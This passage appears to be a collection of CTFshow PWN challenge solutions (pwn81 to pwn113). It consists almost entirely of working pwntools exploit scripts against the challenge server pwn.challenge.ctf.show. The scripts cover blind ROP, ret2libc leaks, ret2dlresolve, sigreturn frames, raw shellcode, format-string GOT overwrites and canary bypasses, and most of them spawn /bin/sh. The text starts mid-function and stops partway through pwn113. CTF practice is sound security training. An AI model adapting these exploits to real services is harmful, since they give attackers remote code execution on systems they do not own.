            else:
                times += 1
        except EOFError:
            time += 1
    
def get_stop_gadget(times):
    address = 0x400000
    while 1:
        try:
            io = connection()
            payload = b'a' * times + p64(address)
            io.send(payload)
            data = io.recv()
            print(data)
            print(hex(address))
            io.close()
            if data.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
                return address
            else:
                address+=1
        except EOFError:
            address += 1

def get_csu_gadget(times,stop):
    add = 0x4007b0
    while 1:
        try:
            io = connection()
            payload = b'a' * times + p64(add) + p64(0) * 6 + p64(stop) + p64(0)
            io.send(payload)
            data = io.recv(timeout = 0.1)
            print(data)
            print(hex(add))
            io.close()
            if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in data:
                io = connection()
                payload = b'a' * times + p64(add) + p64(0) * 6 + p64(0)
                io.send(payload)
                data = io.recv(timeout = 0.1)
                if b'Do you know who is daniu?' in data:
                    add += 1
                else:
                    return add
            else:
                add += 1
        except:
            add += 1

def get_puts(times,stop,gadget):
    add = 0x400500
    pop_rdi = gadget + 9
    while 1:
        io = connection()
        print(hex(add))
        payload = b'a' * times + p64(pop_rdi) + p64(0x400000) + p64(add) + p64(stop)
        try:
            io.send(payload)
            data = io.recv(timeout = 0.1)
            print(data)
            io.close()
            if data.startswith(b'\x7fELF'):
                return add
            else:
                add += 1
        except:
            print('wrong\nwrong\n')
            add += 1

def leak(times,stop,gadget,puts_plt):
    start = 0x400000
    end = 0x401000
    add = start
    code = b''
    judge = "b'\\n'"
    with open('pwn', 'wb') as file:
        while add < end :
            io = connection()
            payload = b'a' * times + p64(gadget + 9) + p64(add) +p64(puts_plt) + p64(stop)
            io.send(payload)
            data = io.recvuntil("Welcome to CTFshow-PWN", timeout=0.1, drop=True)
            io.close()
            print(hex(add))
            print(data)
            if data == b'\n':
                data = b'\x00'
            elif data.endswith(b'\n'):
                data = data[:-1]
            else:
                add += 1
            print(data)
            file.write(data)
            add += len(data)

def attack(times,gadget,stop,puts_plt,puts_got):
    poprdi = gadget + 9
    io = connection()
    payload = b'a' * times + p64(poprdi) + p64(puts_got) + p64(puts_plt) + p64(stop)
    io.sendline(payload)
    real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
    libc = LibcSearcher('puts',real_addr)
    libc_base = real_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    bin_sh = libc_base + libc.dump('str_bin_sh')
    payload = b'a' * times + p64(poprdi) + p64(bin_sh) + p64(system_addr) +p64(stop)
    io.sendline(payload)
    io.interactive()

times = 72
stop_gadget_address = 0x400728
gadget_addr = 0x40083a
puts_pltaddr = 0x400545
puts_gotaddr = 0x602018
#leak(times,stop_gadget_address,gadget_addr,puts_pltaddr)
attack(times,gadget_addr,stop_gadget_address,puts_pltaddr,puts_gotaddr)
#times = get_buf_length()
#address = get_stop_gadget(times)
#address = get_csu_gadget(times,stop_gadget_address)
#address = get_puts(times,stop_gadget_address,gadget_addr)
#print(hex(address))

pwn81

from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')


#io = process('./pwn')
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')


io = remote('pwn.challenge.ctf.show',28180)
io.recvuntil(b'O.o\n')
system_addr = int(io.recvline(),16)
libc = LibcSearcher('system',system_addr)
base = system_addr - libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
ret = 0x8aa + base
poprdi = 0x2164f + base
payload = b'a' * 0x88 + p64(poprdi) + p64(binsh) + p64(ret) + p64(system_addr)
io.sendline(payload)
io.interactive()


pwn82

from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')


#io = process('./pwn')
elf = ELF('./pwn')
rop = ROP('./pwn')
#libc = ELF('./libc.so.6')

io = remote('pwn.challenge.ctf.show',28137)

offsets = 112
dynstr =elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b'read',b'system')
rop.raw(b'a' * offsets)
rop.read(0,0x8049804 + 4,4)
rop.read(0,0x80498e0,len(dynstr))
rop.read(0,0x80498e0 + 0x100,len("/bin/sh\x00"))
rop.raw(0x8048376)
rop.raw(0xdeadbeef)
rop.raw(0x80498e0 + 0x100)
rop.raw(b'a' * (256-len(rop.chain())))

io.recvuntil('Welcome to CTFshowPWN!\n')
io.send(rop.chain())
io.send(p32(0x80498e0))
io.send(dynstr)
io.send(b'/bin/sh\x00')
io.interactive()


pwn83

from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')


#io = process('./pwn')
elf = ELF('./pwn')
rop = ROP('./pwn')
#libc = ELF('./libc.so.6')

io = remote('pwn.challenge.ctf.show',28172)

offsets = 112
dlresolve = Ret2dlresolvePayload(elf,symbol = 'system',args = ['/bin/sh'])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io.recvuntil('Welcome to CTFshowPWN!\n')
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()


pwn84

from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
context.arch = 'amd64'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')
from pwn import *
context.arch="amd64"
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28273)
elf = ELF("./pwn")
bss_addr = elf.bss()
print(hex(bss_addr))
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
leave_ret =0x40063c
poprbp_ret = 0x400588
def csu(rbx, rbp, r12, r13, r14, r15):
    # pop rbx, rbp, r12, r13, r14, r15
    # rbx = 0
    # rbp = 1, enable not to jump
    # r12 should be the function that you want to call
    # rdi = edi = r13d
    # rsi = r14
    # rdx = r15
    payload = p64(csu_end_addr)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    return payload
io.recvuntil('Welcome to CTFshowPWN!\n')
# stack privot to bss segment, set rsp = new_stack
stack_size = 0x200 # new stack size is 0x200
new_stack = bss_addr+0x100
# modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./pwn")
offset = 112+8
rop.raw(offset*'a')
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600988+8,8))
rop.raw(0x400607)
rop.raw("a"*(256-len(rop.chain())))
print(rop.dump())
print(len(rop.chain()))
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p64(0x600B30+0x100))
# construct a fake dynstr section
rop = ROP("./pwn")
rop.raw(offset*'a')
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30+0x100,len(dynstr)))
rop.raw(0x400607)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(dynstr)
# read /bin/sh\x00
rop = ROP("./pwn")
rop.raw(offset*'a')
rop.raw(csu(0, 1
,elf.got['read'],0,0x600B30+0x100+len(dynstr),len("/bin/sh\x00")))
rop.raw(0x400607)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send("/bin/sh\x00")
rop = ROP("./pwn")
rop.raw(offset*'a')
rop.raw(0x0000000000400771) #pop rsi; pop r15; ret;
rop.raw(0)
rop.raw(0)
rop.raw(0x0000000000400773)
rop.raw(0x600B30+0x100+len(dynstr))
rop.raw(0x400516) # the second instruction of read@plt
rop.raw(0xdeadbeef)
rop.raw('a'*(256-len(rop.chain())))
print(rop.dump())
print(len(rop.chain()))
io.send(rop.chain())
io.interactive()

pwn85

from pwn import *
context.arch="amd64"
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28274)
elf = ELF("./pwn")
bss_addr = elf.bss()
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
vuln_addr = 0x400637
def csu(rbx, rbp, r12, r13, r14, r15):
    # pop rbx, rbp, r12, r13, r14, r15
    # rbx = 0
    # rbp = 1, enable not to jump
    # r12 should be the function that you want to call
    # rdi = edi = r13d
    # rsi = r14
    # rdx = r15
    payload = p64(csu_end_addr)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'\x00' * 0x38
    return payload
def ret2dlresolve_x64(elf, store_addr, func_name, resolve_addr):
    plt0 = elf.get_section_by_name('.plt').header.sh_addr
    rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
    relaent = elf.dynamic_value_by_tag("DT_RELAENT") # reloc entry size
    dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
    syment = elf.dynamic_value_by_tag("DT_SYMENT") # symbol entry size
    dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
    # construct fake function string
    func_string_addr = store_addr
    resolve_data = func_name + b"\x00"
    # construct fake symbol
    symbol_addr = store_addr+len(resolve_data)
    offset = symbol_addr - dynsym
    pad = syment - offset % syment # align syment size
    symbol_addr = symbol_addr+pad
    symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)
    symbol_index = (symbol_addr - dynsym)//24
    resolve_data +=b'\x00'*pad
    resolve_data += symbol
    # construct fake reloc
    reloc_addr = store_addr+len(resolve_data)
    offset = reloc_addr - rel_plt
    pad = relaent - offset % relaent # align relaent size
    reloc_addr +=pad
    reloc_index = (reloc_addr-rel_plt)//24
    rinfo = (symbol_index<<32) | 7
    write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)
    resolve_data +=b'\x00'*pad
    resolve_data +=write_reloc
    resolve_call = p64(plt0) + p64(reloc_index)
    return resolve_data, resolve_call
io.recvuntil('Welcome to CTFshowPWN!\n')
#gdb.attach(io)
store_addr = bss_addr+0x100
sh = b"/bin/sh\x00"
# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./pwn")
offset = 112+8
rop.raw(offset*'\x00')
resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr,b"system",elf.got["write"])
rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)+len(sh)))
rop.raw(vuln_addr)
rop.raw("\x00"*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
io.send(rop.chain())

# send resolve data and /bin/sh
io.send(resolve_data+sh)
# rop = ROP("./main_partial_relro_64")
# rop.raw(offset*'\x00')
bin_sh_addr = store_addr+len(resolve_data)
# rop.raw(csu(0, 1 ,elf.got['read'],0,bin_sh_addr,len(sh)))
# rop.raw(vuln_addr)
# rop.raw("a"*(256-len(rop.chain())))
# io.send(rop.chain())
# io.send(sh)
# leak link_map addr
rop = ROP("./pwn")
rop.raw(offset*'\x00')
rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8))
rop.raw(vuln_addr)
rop.raw("\x00"*(256-len(rop.chain())))
io.send(rop.chain())
link_map_addr = u64(io.recv(8))
print(hex(link_map_addr))
# set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL
rop = ROP("./pwn")
rop.raw(offset*'\x00')
rop.raw(csu(0, 1 ,elf.got['read'],0,link_map_addr+0x1c8,8))
rop.raw(vuln_addr)
# rop.raw("a"*(256-len(rop.chain())))
io.sendline(rop.chain())
sleep(1)
io.send(p64(0))
rop = ROP("./pwn")
rop.raw(offset*'\x00')
rop.raw(0x00000000004007a3) # 0x00000000004007a3: pop rdi; ret;
rop.raw(bin_sh_addr)
rop.raw(resolve_call)
# rop.raw('\x00'*(256-len(rop.chain())))
io.send(rop.chain())
io.interactive()

pwn86

from pwn import *
context(arch = "amd64",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28195)
elf = ELF("./pwn")

binsh_offset = 0x100
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + 0x100
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']

payload = bytes(frame).ljust(0x100,b'a') + b'/bin/sh\x00'
io.recvuntil('Welcome to CTFshowPWN!\n')

io.send(payload)
io.interactive()

pwn87

from pwn import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28214)
elf = ELF("./pwn")

jmp_esp = 0x08048d17
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"
sub_esp_jmp = asm("sub esp,0x28;jmp esp")

payload = shellcode + b'a' * 15 + p32(jmp_esp) + sub_esp_jmp
io.recvuntil('What\'s your name?')
io.send(payload)
io.interactive()

pwn88

from pwn import *
context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28162)
elf = ELF("./pwn")

'''
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
'''

shellcode = asm(shellcraft.sh())
jump_addr = 0x400767

def writebyte(addr,data):
    payload = str(hex(addr)) + ' ' + str(data)
    io.recvuntil('Where What?')
    io.sendline(payload)

writebyte(jump_addr + 1,u32(asm('jmp $-0x4a')[1:].ljust(4,b'\x00')))
writebyte(jump_addr,u32(asm('jmp $-0x4a')[0:1].ljust(4,b'\x00')))

shell_addr = 0x400769

for chr in shellcode:
    writebyte(shell_addr,str(chr))
    shell_addr += 1

writebyte(jump_addr + 1,u32(asm('jmp $+0x2')[1:].ljust(4,b'\x00')))
io.interactive()

pwn89

from pwn import *
from LibcSearcher import *
context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28283)
elf = ELF("./pwn")
libc = ELF('./libc.so.6')

bss_addr = 0x602010
rdiret = 0x400be3
rsir15 = 0x400be1
leave = 0x400ada
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
io.recvuntil('You want to send:')
io.sendline(str(0x2000))

payload = b'a' * 0x1010 + p64(bss_addr -0x8) + p64(rdiret) + p64(puts_got) + p64(puts_plt)
payload += p64(rdiret) + p64(0) + p64(rsir15) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave)
payload = payload.ljust(0x2000,b'a')

io.send(payload)
io.recvuntil("See you next time!\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))

one_gadget = puts_addr - libc.sym['puts'] + 0x10a2fc
io.send(p64(one_gadget))
#io.send(payload)
io.interactive()

pwn90

from pwn import *
from LibcSearcher import *
context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28185)
elf = ELF("./pwn")
libc = ELF('./libc.so.6')

payload = b'a' * (0x30 - 8 + 1)
io.sendafter('show:',payload)
io.recvuntil('Hello ')
io.recv(0x30 - 8)
canary = u64(io.recv(8).ljust(8,b'\x00')) & (0xffffffffffffff00)
payload = b'a' * 40 + p64(canary) + p64(0) + b'\x42'

io.send(payload)
io.interactive()

格式化字符串

pwn91

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28235)
elf = ELF("./pwn")
libc = ELF('./libc.so.6')

daniu = 0x804B038
#payload = b'aaaa' + b'%p  ' * 10
payload = fmtstr_payload(7,{daniu:6})
io.send(payload)
io.interactive()

pwn92

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28212)
elf = ELF("./pwn")
libc = ELF('./libc.so.6')

io.recvuntil('Enter your format string: ')
io.sendline('%s')
io.interactive()

pwn93

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28136)
elf = ELF("./pwn")
libc = ELF('./libc.so.6')

io.sendline('7')
io.interactive()

pwn94

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28109)
elf = ELF("./pwn")
libc = ELF('./libc.so.6')

test = b'aaaa' + b'%p--' * 10
offset = 6
printf_got = elf.got['printf']
system_plt = elf.plt['system']

payload = fmtstr_payload(offset,{printf_got:system_plt})

io.sendline(payload)
io.interactive()

pwn95

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28138)
elf = ELF("./pwn")
#libc = ELF('./libc.so.6')

io.recvuntil("    * *************************************                           ")
test = b'aaaa' + b'%p--' * 10
offset = 6
printf_got = elf.got['printf']
payload1 = p32(printf_got) + b'%6$s'
io.send(payload1)
printf_addr = u32(io.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(offset,{printf_got:system_addr})

io.send(payload)
io.send('/bin/sh')
io.recv()
io.interactive()

pwn96

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28301)
elf = ELF("./pwn")
#libc = ELF('./libc.so.6')

flag=b''
for i in range(6,6+12):
    payload='%{}$p'.format(str(i))
    io.sendlineafter(b'$ ',payload)
    aim = unhex(io.recvuntil(b'\n',drop=True).replace(b'0x',b''))
    flag += aim[::-1]
print(flag)
io.close()
io.interactive()

pwn97

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28112)
elf = ELF("./pwn")
#libc = ELF('./libc.so.6')

check_addr = 0x804b040  #needs to be 1
test =  b'aaaa' + b'%p  ' * 30
offset = 11
io.recvuntil("You can use two command('cat /ctfshow_flag' && 'shutdown')")
payload = fmtstr_payload(offset,{check_addr:1})
io.send(payload)
io.interactive()

pwn98

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28122)
elf = ELF("./pwn")
#libc = ELF('./libc.so.6')

test =  b'aaaa' + b'%p  ' * 20
offset = 5+10
io.recv()
backdoor = 0x80486CE

payload = "%15$x"
io.sendline(payload)
canary = int(io.recv(),16)
print(canary)
payload = b'a' * (0x34 - 0xc) + p32(canary) + b'a' * 0xc + p32(backdoor)
#payload = fmtstr_payload(offset,{check_addr:1})
io.sendline(payload)
io.interactive()

pwn99

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
context.log_level = 'error'
#elf = ELF("./pwn")
#libc = ELF('./libc.so.6')

test =  b'aaaaaaaa' + b'%p  ' * 50
offset = 6

def leak(payload):
    io = remote('pwn.challenge.ctf.show',28232)
    io.recv()
    io.sendline(payload)
    data = io.recvuntil('\n', drop=True)
    if data.startswith(b'0x'):
        print(p64(int(data,16)))
    io.close()
i = 1
while 1:
    payload = '%{}$p'.format(i)
    leak(payload)
    i += 1

#payload = fmtstr_payload(offset,{check_addr:1})

io.interactive()

pwn100

解析:
程序前面对于时间的记录没有漏洞点,主要在于格式化字符串。
(1)如何重复利用格式化字符串漏洞
fmt_attack函数对于自身被调用次数存在校验,但只需每次调用printf时先找到a1的存储位置,并通过偏移修改a1的值为0,即%7$n。
(2)都泄露了什么东西
首次的%16$p泄露的是main的rbp地址,第二次泄露的是fmt_attack函数的返回地址。
之所以将main函数的rbp值要减去0x28是因为main函数自身栈空间大小为0x20,再加上8个字节。(返回地址大小8个字节)的偏移(被调函数【此处可特指fmt_attack】的返回地址的存储地址,即修改该地址的数据就是在修改被调用函数的返回地址)
(3)如何利用
%n覆盖的是指定偏移位置里面的值所指向的地址里面的值,故第三次调用fmt_attack直接替换返回地址的低2字节为getflag内容校验后的部分。

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28210)

def fmt(payload):
    io.recvuntil(">>")
    io.sendline('2')
    io.sendline(payload)
io.sendline('00 00 00')
fmt('%7$n-%16$p')
io.recvuntil('-')
ret_addr = int(io.recvuntil('\n')[:-1],16)-0x28
payload = '%7$n+%17$p'
fmt(payload)
io.recvuntil('+')
ret_value = int(io.recvuntil('\n')[:-1],16)
elf_base = ret_value - 0x102c
payload1 = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'
payload1 = payload1.ljust(0x10,b'a')
payload1 += p64(ret_addr)
fmt(payload1)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
io.interactive()

整数安全

pwn101

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
context.log_level = 'error'
#elf = ELF("./pwn")
#libc = ELF('./libc.so.6')

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')

io = remote("pwn.challenge.ctf.show", 28236)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.recvuntil("Enter two integers: ")
a = 0x80000000
b = 0x7FFFFFFF
print(a)
print(b)
payload = str(a) + ' ' + str(b)
io.sendline(payload)
io.interactive()

pwn102

from pwn import *
from LibcSearcher import *
from ctypes import c_uint

context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28275)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.recvuntil("Enter an unsigned integer: ")

a = -1
unsigned_a = c_uint(a).value
print(unsigned_a)
payload = str(unsigned_a)
io.sendline(payload)
io.interactive()

pwn103

from pwn import *
from LibcSearcher import *
from ctypes import c_uint

context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28237)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.recvuntil("Enter the length of data (up to 80): ")

a = 0
b = -1

payload = str(a)
io.sendline(payload)
payload = str(b)
io.sendline(payload)
io.interactive()

pwn104

from pwn import *
from LibcSearcher import *
from ctypes import c_uint

context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28260)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.recvuntil("How long are you?")
io.sendline('30')

that = 0x40078D
payload = b'a' * 22 + p64(that)
io.recvuntil("Who are you?")
io.sendline(payload)
io.interactive()

pwn105

from pwn import *
from LibcSearcher import *
from ctypes import c_uint

#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28251)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

success = 0x804870E
length = 260
payload = b'a' * (0x11+4) + p32(success)
payload = payload.ljust(length,b'a')
io.recvuntil("[+] Check your permissions:")
io.sendline(payload)
io.interactive()

pwn106

from pwn import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28161)
elf = ELF("./pwn")

flag = 0x8048919

io.recvuntil("Your choice:")
io.sendline('1')
io.recvuntil("Please input your username:")
io.sendline('name')
io.recvuntil("Please input your passwd:")
payload = b'a' * 0x18 + p32(flag)
payload = payload.ljust(260,b'a')
io.sendline(payload)
io.interactive()

pwn107

from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28268)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.symbols['main']

io.recvuntil("read?")
io.sendline('-1')
io.recvuntil("\n")

payload = b'a' * (0x2c + 4) + p32(printf_plt) + p32(main_addr) + p32 (printf_got)
io.sendline(payload)
io.recvuntil('\n')
real_addr = u32(io.recv(4))
libc = LibcSearcher('printf',real_addr)
libc_base = real_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")

io.recvuntil("read?")
io.sendline('-1')
io.recvuntil("\n")
payload = b'a' * (0x2c + 4) + p32(system_addr) + p32(main_addr) + p32 (binsh)
io.sendline(payload)

io.interactive()

pwn108

from pwn import *
from LibcSearcher import *
from ctypes import c_uint

context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28163)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.recvuntil('0x')
#puts_addr = int(io.recvuntil('\n',drop = True),16)
puts_addr = int(io.recv(12),16)
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base + 0xe54fe
strlen_addr = libc_base + libc.got['strlen']
print(hex(libc.sym['strlen']))
io.recvuntil("shoot!shoot!")
io.sendline(str(strlen_addr))

for i in range(3):
    io.recvuntil("biang!")
    payload = chr(one_gadget & 0xFF)
    io.sendline(payload)
    one_gadget = one_gadget >> 8

io.interactive()

pwn109

from pwn import *
from LibcSearcher import *
from ctypes import c_uint

#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28153)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.recvuntil("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!")
io.sendline('1')
io.recvuntil('\n')
buf_addr = io.recvuntil('\n',drop = True)
buf_addr = b'0x' + buf_addr

buf_addr = int(buf_addr,16)
print(buf_addr)
ret_addr = buf_addr + 0x41c
payload = fmtstr_payload(16,{ret_addr:buf_addr})
io.sendline(payload)

io.recvuntil("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!")
io.sendline('2')
io.recvuntil("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!")
io.sendline('1')
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)

io.recvuntil("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!")
io.sendline('3')

io.interactive()

pwn110

from pwn import *
from LibcSearcher import *
from ctypes import c_uint

#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28258)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.recv()
io.sendline('-1')

buf_addr = io.recv(8)
buf_addr = int(buf_addr,16)
print(buf_addr)
io.recvuntil('\n')
shellcode = asm(shellcraft.sh())

payload = shellcode
payload = payload.ljust(0x41b+4,b'a') + p32(buf_addr)
io.sendline(payload)

io.interactive()

Bypass安全机制

pwn111

from pwn import *
from LibcSearcher import *
from ctypes import c_uint

context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28187)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

backdoor = 0x400697
offset = 0x80 + 8
payload = b'a' * offset + p64(backdoor)
io.sendline(payload)

io.interactive()

pwn112

from pwn import *
from LibcSearcher import *
from ctypes import c_uint

#context(arch = "amd64",os = 'linux',log_level = 'debug')
context(arch = "i386",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28224)
#io = process(pwn)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

payload = p32(17) *14
io.sendline(payload)

io.interactive()

pwn113

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')

io = remote("pwn.challenge.ctf.show",28199)
# io = process('./pwn')
elf = ELF('./pwn')
#libc = ELF("./libc.so.6")

ret = 0x400640
pop_rdi_ret = 0x401ba3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_ret = elf.sym['main']
data = 0x603000

io.recvuntil(b">> ")

payload = b"A"*0x418 + p8(0x28) + p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_ret)
io.sendline(payload)

puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
